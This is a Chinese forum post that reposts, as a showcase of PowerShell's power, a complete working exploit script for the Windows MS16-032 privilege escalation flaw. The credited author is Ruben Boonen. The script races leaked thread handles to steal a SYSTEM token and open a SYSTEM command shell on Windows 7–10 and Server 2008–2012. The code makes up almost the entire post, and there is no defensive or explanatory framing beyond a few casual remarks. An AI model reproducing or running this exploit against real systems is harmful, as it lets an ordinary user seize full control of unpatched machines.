一个基于Powershell的提权代码

soarcloud · 2016-8-13 09:01

本帖最后由 soarcloud 于 2016-8-13 09:44 编辑

之前转了一堆关于Powershell基础的帖子，但是估计大家对Powershell到底能做什么还是没有个具体概念。那么下面就贴个用于用户提权的Powershell代码，看了之后就应该明白Powershell能干什么了#j334:不要问我提权是什么，如果这个都不清楚，那么就再好好学学吧#j346:

function Invoke-MS16-032 {
<#
.SYNOPSIS

PowerShell implementation of MS16-032. The exploit targets all vulnerable
operating systems that support PowerShell v2+. Credit for the discovery of
the bug and the logic to exploit it go to James Forshaw (@tiraniddo).

Targets:

* Win7-Win10 & 2k8-2k12 <== 32/64 bit!
* Tested on x32 Win7, x64 Win8, x64 2k12R2

Notes:

* In order for the race condition to succeed the machine must have 2+ CPU
   cores. If testing in a VM just make sure to add a core if needed mkay.
* The exploit is pretty reliable, however ~1/6 times it will say it succeeded
   but not spawn a shell. Not sure what the issue is but just re-run and profit!
* Want to know more about MS16-032 ==>
   https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
.DESCRIPTION
      Author: Ruben Boonen (@FuzzySec)
      Blog: http://www.fuzzysecurity.com/
      License: BSD 3-Clause
      Required Dependencies: PowerShell v2+
      Optional Dependencies: None
      E-DB Note: Source ~ https://twitter.com/FuzzySec/status/723254004042612736

.EXAMPLE
      C:\PS> Invoke-MS16-032
#>
      Add-Type -TypeDefinition @"
      using System;
      using System.Diagnostics;
      using System.Runtime.InteropServices;
      using System.Security.Principal;

      [StructLayout(LayoutKind.Sequential)]
      public struct PROCESS_INFORMATION
      {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
      }

      [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
      public struct STARTUPINFO
      {
            public Int32 cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public Int32 dwX;
            public Int32 dwY;
            public Int32 dwXSize;
            public Int32 dwYSize;
            public Int32 dwXCountChars;
            public Int32 dwYCountChars;
            public Int32 dwFillAttribute;
            public Int32 dwFlags;
            public Int16 wShowWindow;
            public Int16 cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
      }

      [StructLayout(LayoutKind.Sequential)]
      public struct SQOS
      {
            public int Length;
            public int ImpersonationLevel;
            public int ContextTrackingMode;
            public bool EffectiveOnly;
      }

      public static class Advapi32
      {
            [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
            public static extern bool CreateProcessWithLogonW(
                     String userName,
                     String domain,
                     String password,
                     int logonFlags,
                     String applicationName,
                     String commandLine,
                     int creationFlags,
                     int environment,
                     String currentDirectory,
                     ref  STARTUPINFO startupInfo,
                     out PROCESS_INFORMATION processInformation);

            [DllImport("advapi32.dll", SetLastError=true)]
            public static extern bool SetThreadToken(
                     ref IntPtr Thread,
                     IntPtr Token);

            [DllImport("advapi32.dll", SetLastError=true)]
            public static extern bool OpenThreadToken(
                     IntPtr ThreadHandle,
                     int DesiredAccess,
                     bool OpenAsSelf,
                     out IntPtr TokenHandle);

            [DllImport("advapi32.dll", SetLastError=true)]
            public static extern bool OpenProcessToken(
                     IntPtr ProcessHandle,
                     int DesiredAccess,
                     ref IntPtr TokenHandle);

            [DllImport("advapi32.dll", SetLastError=true)]
            public extern static bool DuplicateToken(
                     IntPtr ExistingTokenHandle,
                     int SECURITY_IMPERSONATION_LEVEL,
                     ref IntPtr DuplicateTokenHandle);
      }

      public static class Kernel32
      {
            [DllImport("kernel32.dll")]
            public static extern uint GetLastError();

            [DllImport("kernel32.dll", SetLastError=true)]
            public static extern IntPtr GetCurrentProcess();

            [DllImport("kernel32.dll", SetLastError=true)]
            public static extern IntPtr GetCurrentThread();

            [DllImport("kernel32.dll", SetLastError=true)]
            public static extern int GetThreadId(IntPtr hThread);

            [DllImport("kernel32.dll", SetLastError = true)]
            public static extern int GetProcessIdOfThread(IntPtr handle);

            [DllImport("kernel32.dll",SetLastError=true)]
            public static extern int SuspendThread(IntPtr hThread);

            [DllImport("kernel32.dll",SetLastError=true)]
            public static extern int ResumeThread(IntPtr hThread);

            [DllImport("kernel32.dll", SetLastError=true)]
            public static extern bool TerminateProcess(
                     IntPtr hProcess,
                     uint uExitCode);

            [DllImport("kernel32.dll", SetLastError=true)]
            public static extern bool CloseHandle(IntPtr hObject);

            [DllImport("kernel32.dll", SetLastError=true)]
            public static extern bool DuplicateHandle(
                     IntPtr hSourceProcessHandle,
                     IntPtr hSourceHandle,
                     IntPtr hTargetProcessHandle,
                     ref IntPtr lpTargetHandle,
                     int dwDesiredAccess,
                     bool bInheritHandle,
                     int dwOptions);
      }

      public static class Ntdll
      {
            [DllImport("ntdll.dll", SetLastError=true)]
            public static extern int NtImpersonateThread(
                     IntPtr ThreadHandle,
                     IntPtr ThreadToImpersonate,
                     ref SQOS SecurityQualityOfService);
      }
"@

      function Get-ThreadHandle {
            # StartupInfo Struct
            $StartupInfo = New-Object STARTUPINFO
            $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
            $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
            $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
            $StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
            $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size

            # ProcessInfo Struct
            $ProcessInfo = New-Object PROCESS_INFORMATION

            # CreateProcessWithLogonW --> lpCurrentDirectory
            $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName

            # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
            $CallResult = [Advapi32]::CreateProcessWithLogonW(
                     "user", "domain", "pass",
                     0x00000002, "C:\Windows\System32\cmd.exe", "",
                     0x00000004, $null, $GetCurrentPath,
                     [ref]$StartupInfo, [ref]$ProcessInfo)

            # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
            $lpTargetHandle = [IntPtr]::Zero
            $CallResult = [Kernel32]::DuplicateHandle(
                     $ProcessInfo.hProcess, 0x4,
                     [Kernel32]::GetCurrentProcess(),
                     [ref]$lpTargetHandle, 0, $false,
                     0x00000002)

            # Clean up suspended process
            $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
            $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
            $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)

            $lpTargetHandle
      }

      function Get-SystemToken {
            echo "`n[?] Trying thread handle: $Thread"
            echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"

            $CallResult = [Kernel32]::SuspendThread($Thread)
            if ($CallResult -ne 0) {
                     echo "[!] $Thread is a bad thread, moving on.."
                     Return
            } echo "[+] Thread suspended"

            echo "[>] Wiping current impersonation token"
            $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
            if (!$CallResult) {
                     echo "[!] SetThreadToken failed, moving on.."
                     $CallResult = [Kernel32]::ResumeThread($Thread)
                     echo "[+] Thread resumed!"
                     Return
            }

            echo "[>] Building SYSTEM impersonation token"
            # SecurityQualityOfService struct
            $SQOS = New-Object SQOS
            $SQOS.ImpersonationLevel = 2 #SecurityImpersonation
            $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
            # Undocumented API's, I like your style Microsoft ;)
            $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
            if ($CallResult -ne 0) {
                     echo "[!] NtImpersonateThread failed, moving on.."
                     $CallResult = [Kernel32]::ResumeThread($Thread)
                     echo "[+] Thread resumed!"
                     Return
            }

            $script:SysTokenHandle = [IntPtr]::Zero
            # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
            $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
            if (!$CallResult) {
                     echo "[!] OpenThreadToken failed, moving on.."
                     $CallResult = [Kernel32]::ResumeThread($Thread)
                     echo "[+] Thread resumed!"
                     Return
            }

            echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
            echo "[+] Resuming thread.."
            $CallResult = [Kernel32]::ResumeThread($Thread)
      }

      # main() <--- ;)
      $ms16032 = @"
      __ __ ___ ___ ___    ___ ___ ___
      |  V  |  _|_  | |  _|___| |_  |_  |
      |    |_  |_| |_| . |___| | |_  |  _|
      |_|_|_|___|_____|___| |___|___|___|

                     [by b33f -> @FuzzySec]
"@

      $ms16032

      # Check logical processor count, race condition requires 2+
      echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
      if ($([System.Environment]::ProcessorCount) -lt 2) {
            echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
            Return
      }

      # Create array for Threads & TID's
      $ThreadArray = @()
      $TidArray = @()

      echo "[>] Duplicating CreateProcessWithLogonW handles.."
      # Loop Get-ThreadHandle and collect thread handles with a valid TID
      for ($i=0; $i -lt 500; $i++) {
            $hThread = Get-ThreadHandle
            $hThreadID = [Kernel32]::GetThreadId($hThread)
            # Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
            if ($TidArray -notcontains $hThreadID) {
                     $TidArray += $hThreadID
                     if ($hThread -ne 0) {
                              $ThreadArray += $hThread # This is what we need!
                     }
            }
      }

      if ($($ThreadArray.length) -eq 0) {
            echo "[!] No valid thread handles were captured, exiting!"
            Return
      } else {
            echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
            echo "`n[?] Thread handle list:"
            $ThreadArray
      }

      echo "`n Sniffing out privileged impersonation token.."
      foreach ($Thread in $ThreadArray){

            # Get handle to SYSTEM access token
            Get-SystemToken

            echo "`n Sniffing out SYSTEM shell.."
            echo "`n[>] Duplicating SYSTEM token"
            $hDuplicateTokenHandle = [IntPtr]::Zero
            $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)

            # Simple PS runspace definition
            echo "[>] Starting token race"
            $Runspace = [runspacefactory]::CreateRunspace()
            $StartTokenRace = [powershell]::Create()
            $StartTokenRace.runspace = $Runspace
            $Runspace.Open()
            [void]$StartTokenRace.AddScript({
                     Param ($Thread, $hDuplicateTokenHandle)
                     while ($true) {
                              $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
                     }
            }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
            $AscObj = $StartTokenRace.BeginInvoke()

            echo "[>] Starting process race"
            # Adding a timeout (10 seconds) here to safeguard from edge-cases
            $SafeGuard = [diagnostics.stopwatch]::StartNew()
            while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
            # StartupInfo Struct
            $StartupInfo = New-Object STARTUPINFO
            $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size

            # ProcessInfo Struct
            $ProcessInfo = New-Object PROCESS_INFORMATION

            # CreateProcessWithLogonW --> lpCurrentDirectory
            $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName

            # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
            $CallResult = [Advapi32]::CreateProcessWithLogonW(
                     "user", "domain", "pass",
                     0x00000002, "C:\Windows\System32\cmd.exe", "",
                     0x00000004, $null, $GetCurrentPath,
                     [ref]$StartupInfo, [ref]$ProcessInfo)

            $hTokenHandle = [IntPtr]::Zero
            $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
            # If we can't open the process token it's a SYSTEM shell!
            if (!$CallResult) {
                     echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
                     $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
                     $StartTokenRace.Stop()
                     $SafeGuard.Stop()
                     Return
            }

            # Clean up suspended process
            $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
            $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
            $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
            }

            # Kill runspace & stopwatch if edge-case
            $StartTokenRace.Stop()
            $SafeGuard.Stop()
      }
}
看完代码后，长期从事windows编程的同学应该已经看出来powershell的强大功能了吧。呵呵。

[# 系统基础] 一个基于Powershell的提权代码

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